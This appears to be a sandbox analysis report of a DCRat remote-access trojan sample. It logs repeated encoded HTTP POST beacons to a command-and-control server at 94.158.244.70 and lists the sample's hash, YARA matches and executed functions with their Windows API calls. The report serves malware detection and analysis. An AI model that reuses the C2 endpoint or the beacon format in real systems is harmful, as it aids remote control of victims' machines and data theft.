Sep 1, 2024 23:58:50.501405001 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:50.859428883 CEST	1040	OUT	Data Raw: 55 50 5d 5b 58 5d 59 5f 5b 5b 54 51 5b 5c 56 53 57 50 5a 49 50 53 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UP][X]Y_[[TQ[\VSWPZIPSQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &>Z!=%"?9:! 5#, ]1-(T(1$1.)$?(?9G$#P/
Sep 1, 2024 23:58:51.092459917 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:51.220537901 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49861	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:51.343138933 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:51.701024055 CEST	1040	OUT	Data Raw: 50 5a 58 5b 5d 59 5c 57 5b 5b 54 51 5b 53 56 54 57 56 5a 48 50 5a 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZX[]Y\W[[TQ[SVTWVZHPZQX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 20"111;:9R"6(U/>7&#(W7$.)\30<9G$#P/<
Sep 1, 2024 23:58:51.935579062 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:52.064822912 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49862	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:52.190912008 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:52.544783115 CEST	1032	OUT	Data Raw: 55 50 58 53 5d 5b 59 54 5b 5b 54 51 5b 55 56 5e 57 53 5a 41 50 5b 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UPXS][YT[[TQ[UV^WSZAP[Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#20>"2Q%1+-*>75#8(1=$V(17&-5]'<<?9G$#P/
Sep 1, 2024 23:58:52.763093948 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:52.892846107 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49863	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:53.016874075 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:53.375452995 CEST	1032	OUT	Data Raw: 50 58 58 52 58 5d 59 56 5b 5b 54 51 5b 55 56 54 57 52 5a 43 50 59 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PXXRX]YV[[TQ[UVTWRZCPYQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 2_!21.* 8W;$]%-?+11-*$/<;9G$#P/,
Sep 1, 2024 23:58:53.634655952 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:53.766978025 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49864	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:53.896522045 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Target ID:	0
Start time:	17:56:52
Start date:	01/09/2024
Path:	C:\Users\user\Desktop\Gez0dmj6yl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Gez0dmj6yl.exe"
Imagebase:	0xa50000
File size:	690'688 bytes
MD5 hash:	56EC657202ACA3CE001ECBE1557B7987
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000000.2005683650.0000000000A52000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.8%
Total number of Nodes:	34
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF848F11EC3 Relevance: 15.3, Strings: 11, Instructions: 1538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[, xrefs: 00007FF848F12567
], xrefs: 00007FF848F1289A
", xrefs: 00007FF848F12463
{, xrefs: 00007FF848F131BC
u, xrefs: 00007FF848F120EC
[, xrefs: 00007FF848F12856
}, xrefs: 00007FF848F13200
{, xrefs: 00007FF848F12D06
\, xrefs: 00007FF848F11FC5
], xrefs: 00007FF848F125AB
}, xrefs: 00007FF848F12D4A

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: "$[$[$\$]$]$u${${$}$}
API String ID: 0-3490533229
Opcode ID: b3100b347b6f08d71b07b5f158612eb78e0d9f299ee1535c80306d5328f004a7
Instruction ID: 15d2e5f211d3808ca9778827b75f642d7b803c8fa09645d1c65dc4e7e1ccbd22
Opcode Fuzzy Hash: b3100b347b6f08d71b07b5f158612eb78e0d9f299ee1535c80306d5328f004a7
Instruction Fuzzy Hash: 2CD2B170D196298FDBA8EF28C8947A9B7B1FB58341F5041EAD00DE3291DB35AE81CF54

Function 00007FF8490FDC45 Relevance: 3.2, Strings: 1, Instructions: 1997COMMON

Download Yara Rule

Strings

HAH, xrefs: 00007FF8491413EC

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: HAH
API String ID: 0-1579723087
Opcode ID: 867060a063cec73446a2be85d166261fe85f1c2cccc0c013ab203bfa418b9014
Instruction ID: 036bb1cae8d49bfaeadc0adcb09f1ca6e7ce6fb246060578b11342073595f4d5
Opcode Fuzzy Hash: 867060a063cec73446a2be85d166261fe85f1c2cccc0c013ab203bfa418b9014
Instruction Fuzzy Hash: 0503067090865E8FDB99EF18C895BB9B3B1FF58305F1004ADD41EE7292CA35A982CF50

Function 00007FF8490FDC05 Relevance: 2.2, Strings: 1, Instructions: 972COMMON

Download Yara Rule

Strings

HAH, xrefs: 00007FF8491346B6

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: HAH
API String ID: 0-1579723087
Opcode ID: 80ddbc8e0212669ec88a86110090db7542d457c100648785046082d2b9c220d7
Instruction ID: 4103662bcd42f10fd89fd181c0c232e65a82135f1d96d7ace0e64a3ef008e3d2
Opcode Fuzzy Hash: 80ddbc8e0212669ec88a86110090db7542d457c100648785046082d2b9c220d7
Instruction Fuzzy Hash: CC92067090865E8FDB68EF58C895AEDB7B1FF58301F5041AED40EA7285CB35A982CF50

Function 00007FF848F1D59A Relevance: 1.7, APIs: 1, Instructions: 156COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF848F1D6B2

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 971a1256af2c1405f91970a74275300fc6f86cd594d4064bdf4255c76be33e1c
Instruction ID: 6aa392341945f8b5ede50b74678920485a934f6d27f5918d6b86c887e6c1da7d
Opcode Fuzzy Hash: 971a1256af2c1405f91970a74275300fc6f86cd594d4064bdf4255c76be33e1c
Instruction Fuzzy Hash: 0D417E7190DA4C8FEB98EF98D849BE9BBF0FB55311F04416AD04DD7292DB34A845CB50

Function 00007FF8490F3EBE Relevance: .7, Instructions: 721COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f982bf94730529a3aab569d51b7a8ff9ae610f90fce31dde89afe578fbc3bb10
Instruction ID: 4aa7715c2d71f779c946910b389de66df82c8729820bb6ad919891d12c0271ca
Opcode Fuzzy Hash: f982bf94730529a3aab569d51b7a8ff9ae610f90fce31dde89afe578fbc3bb10
Instruction Fuzzy Hash: B752E870D19A5D8FDBA4EF18C899AA9B7B1FF54341F1001B9D40DE3296DF78AA818F40

Function 00007FF848F21D55 Relevance: .7, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8362100ee9baed733e49833e62bed610f8cc44cd87890469d29089cdb0174df
Instruction ID: dfebb37eaafcf00bf18faa0264773dd8dd8e7e0b06f98a33d7650d070f66c604
Opcode Fuzzy Hash: c8362100ee9baed733e49833e62bed610f8cc44cd87890469d29089cdb0174df
Instruction Fuzzy Hash: AD525970918A1D8FEB98EF14C494BF9B7B2FF59344F5081ADD00E97282CB39A946CB54

Function 00007FF8490F9DC7 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f46138bae0ea6417335a9e29f3b4626c69866532b4d278b9c006c35487d153a4
Instruction ID: a86a6631472cfc2b2668b419fb6f528aeebc8c34d4ef41c4453b29cbf3c0f366
Opcode Fuzzy Hash: f46138bae0ea6417335a9e29f3b4626c69866532b4d278b9c006c35487d153a4
Instruction Fuzzy Hash: BEC12530918A5E8FDBA9EF18D844BE9B7B1FF59311F0001F9D00DE7295DA75AA85CB40

Function 00007FF8490FCA0E Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7951b83560cbeadbce6f1ffa6eae65131e15046d3c9c64bc2cf8db71dfbd3fa
Instruction ID: 5e2424830362967bbeb39737e9eeec57dedd8bc52ba25243e7ed7aa166b9c906
Opcode Fuzzy Hash: f7951b83560cbeadbce6f1ffa6eae65131e15046d3c9c64bc2cf8db71dfbd3fa
Instruction Fuzzy Hash: 2331E935C4D6EA8FEBB5EE1888562F87BE1EF45350F0440BAD44CD3186DEA8AE498741

Function 00007FF8490FDF28 Relevance: 4.3, Strings: 3, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HAH, xrefs: 00007FF8491098FD
HAH, xrefs: 00007FF849109B08
HAH, xrefs: 00007FF849109D11

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: HAH$HAH$HAH
API String ID: 0-2719557456
Opcode ID: 6cb6def0ed4b2ffff78ee7206942b3b3334971e6523a4945f1d8a4a91fc0d680
Instruction ID: 319aeb92c69605a9a5a87bfb3f022839494bba73f5491b096406018412ea7b77
Opcode Fuzzy Hash: 6cb6def0ed4b2ffff78ee7206942b3b3334971e6523a4945f1d8a4a91fc0d680
Instruction Fuzzy Hash: 6B121770D18A5D8FDBA4EF68C855BE9BBF1FB58340F1001BAD10DE7292DA3969818F40

Function 00007FF8490FD4F8 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

So0, xrefs: 00007FF8490FD567
o0_^, xrefs: 00007FF8490FD501

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: o0_^$So0
API String ID: 0-641094670
Opcode ID: eb8804e819bed2eed59bb0ff74c34c22aa3cb03201b817ac1648f609bf669718
Instruction ID: d2d3a2baf45e10f2e2edc3f481c94c606fcc30f524d2c3da76f13a665f1870e9
Opcode Fuzzy Hash: eb8804e819bed2eed59bb0ff74c34c22aa3cb03201b817ac1648f609bf669718
Instruction Fuzzy Hash: 5851BC22D8D6DB9EE7647E78A4115FDBBA0FF413A8F0401B6C14DCA883DE0D249287D5

Function 00007FF848F1B98A Relevance: 1.8, APIs: 1, Instructions: 296COMMON

Download Yara Rule

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FF848F1BB92

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: d90ee41bc81b53d2a2b7c599de8188431db98ba639aaa069c168a38e4be5c28f
Instruction ID: 6d6c8f1631e239a4cd39612dac914039452d439ddc537ea4045d5253927bf909
Opcode Fuzzy Hash: d90ee41bc81b53d2a2b7c599de8188431db98ba639aaa069c168a38e4be5c28f
Instruction Fuzzy Hash: CC912470908A5C8FDB99DF58C894BE9BBF1FB6A310F1001AED04DE3291DB75A984CB44

Function 00007FF848F19FB0 Relevance: 1.8, APIs: 1, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d4393510b65b0cded400af8743a2700bf12d872300be702232304ce5f0ce883
Instruction ID: 1c631f368da5235424b80b7ef33af1c3b9fa31bba2f2362ae64ad5c5d5cac653
Opcode Fuzzy Hash: 3d4393510b65b0cded400af8743a2700bf12d872300be702232304ce5f0ce883
Instruction Fuzzy Hash: 5781D070908A5C8FDB98EF58C894BA9BBF1FB69301F1051AED04EE3651DB75A980CF44

Function 00007FF848F7F110 Relevance: 1.7, APIs: 1, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43d87db68019e1dbb09f7ad753b112bb81fb1ab2a456297093537275392c483f
Instruction ID: c9814f80b1a6e436ee93900ceef6d58ed840e12efe41a390ff8f5aa51954a5d6
Opcode Fuzzy Hash: 43d87db68019e1dbb09f7ad753b112bb81fb1ab2a456297093537275392c483f
Instruction Fuzzy Hash: 77819C31D08A4C8FEB54EFA8D855AEDBBB0FF56310F10016AD40EDB292DB756846CB50

Function 00007FF848F1BC35 Relevance: 1.7, APIs: 1, Instructions: 219fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF848F1BDB9

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 0c0cfcd6f26de3fb17336561f97e1b06b45223923cb8184241559758100d1778
Instruction ID: 027681b2e2162a3382d6bcb727b0923e1da10c0865e46790dfa3f40effd6d7b3
Opcode Fuzzy Hash: 0c0cfcd6f26de3fb17336561f97e1b06b45223923cb8184241559758100d1778
Instruction Fuzzy Hash: 40612570908A5C8FDB98DF58C885BE9BBF0FB69311F1001AED04DE3291DB74A985CB44

Function 00007FF84910B9E0 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

HAH, xrefs: 00007FF84910BA4B

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: HAH
API String ID: 0-1579723087
Opcode ID: 7d35f64c033b49c30d09bd4c7f580924314d25deb884418cdfefb37d1922059c
Instruction ID: 15bde4fda24959f742043135ca5d539b18c6a61623bfd481d34227315a37ff7b
Opcode Fuzzy Hash: 7d35f64c033b49c30d09bd4c7f580924314d25deb884418cdfefb37d1922059c
Instruction Fuzzy Hash: BCE1AF3090C68E8FDB95EF28C855AE97BF0FF59350F0400BAE409D7692DB39A855CB91

Function 00007FF848F7F1D7 Relevance: 1.7, APIs: 1, Instructions: 173threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 00007FF848F7F2E1

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f453e3864992fb5433380a6a03e4370cfc8aae0203ca3beb404267f61554d7d7
Instruction ID: 0a2e32ec9efd9da0ea24b89fe8c5d77f61212c3b610aa3f3e73ebd56dfef43b1
Opcode Fuzzy Hash: f453e3864992fb5433380a6a03e4370cfc8aae0203ca3beb404267f61554d7d7
Instruction Fuzzy Hash: E4519D3090864C8FDB55EFA8D845AEDBBF0EB56310F10416AD449D7292DA35A886CB51

Function 00007FF8490F89AD Relevance: 1.7, Strings: 1, Instructions: 412COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF8490F8AB6

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 8064bb2f79773b15e2c1c82930af9a5471ddc32446233a9c59157d7ef5785489
Instruction ID: bb19b59a84fc3a1b9fafefe6e6bdf7eda5f450d742cf0177f47857e701d3d7c1
Opcode Fuzzy Hash: 8064bb2f79773b15e2c1c82930af9a5471ddc32446233a9c59157d7ef5785489
Instruction Fuzzy Hash: CAD1BD30A0DA8D8FEF64EF68C851AE9BBB1FF55350F0401BAD409D7286DB78A945C741

Function 00007FF848F1D5D1 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF848F1D6B2

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 2a5a193add6dd8fa79733b1b10ba16e446c8764490f5e86067dab62aaa8f4dde
Instruction ID: 5b231af92237932a10894a6007e9d7fd9526348b26057579986fe0bfb9025e00
Opcode Fuzzy Hash: 2a5a193add6dd8fa79733b1b10ba16e446c8764490f5e86067dab62aaa8f4dde
Instruction Fuzzy Hash: A141A27090D68C8FDB99EFA8D849BE9BBF0EF56310F0441ABD04DD7292DA745845CB50

Function 00007FF8490FAB29 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

Sf]H, xrefs: 00007FF8490FAD6E

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: Sf]H
API String ID: 0-3283362425
Opcode ID: 6d4a48c499b2356bf3c2d16c64167edc77dc65197302c521c83d6375f6eff345
Instruction ID: 069db6b3159babaa9315fb558566fb4bbbb50a7fdad3bf05339c5ce6a3124a61
Opcode Fuzzy Hash: 6d4a48c499b2356bf3c2d16c64167edc77dc65197302c521c83d6375f6eff345
Instruction Fuzzy Hash: C4C1E231C1D68E8FDB95EF24C8156F9BBB1FF55340F0400BAD409E7196DA78A945CB80

Function 00007FF848F1DA35 Relevance: 1.4, APIs: 1, Instructions: 194memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 00007FF848F1DB69

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0813fe8cbcc469fa7767f9e29889d744ab862c35c72e3b22959f47507783ea8f
Instruction ID: 7410454cb55ede950fc584506bd2e7fb9955aa5c77ecf425387cd4b48facf91a
Opcode Fuzzy Hash: 0813fe8cbcc469fa7767f9e29889d744ab862c35c72e3b22959f47507783ea8f
Instruction Fuzzy Hash: 37511870918A5C8FDF58EF58C855BE9BBF0FB69314F1042AAD04DE3252DB70A985CB41

Function 00007FF8490F7540 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

S._H, xrefs: 00007FF84911D16D

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: S._H
API String ID: 0-2399902851
Opcode ID: 3e91e3b72e7a95684f39740b41361cc4eadd0e44ebeffe230e25633544e365cd
Instruction ID: 9d97be3d3586972006739a1fb897fc21447e9d9601c143f37ec2913bb0591a25
Opcode Fuzzy Hash: 3e91e3b72e7a95684f39740b41361cc4eadd0e44ebeffe230e25633544e365cd
Instruction Fuzzy Hash: 3F513434D1991DAFEB94EFA8D485AADB7F1FF58340F10012AD00DE3285EB38A941CB50

Function 00007FF8490FDE20 Relevance: 1.3, Strings: 1, Instructions: 4COMMON

Download Yara Rule

Strings

HAH, xrefs: 00007FF8491346B6

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID: HAH
API String ID: 0-1579723087
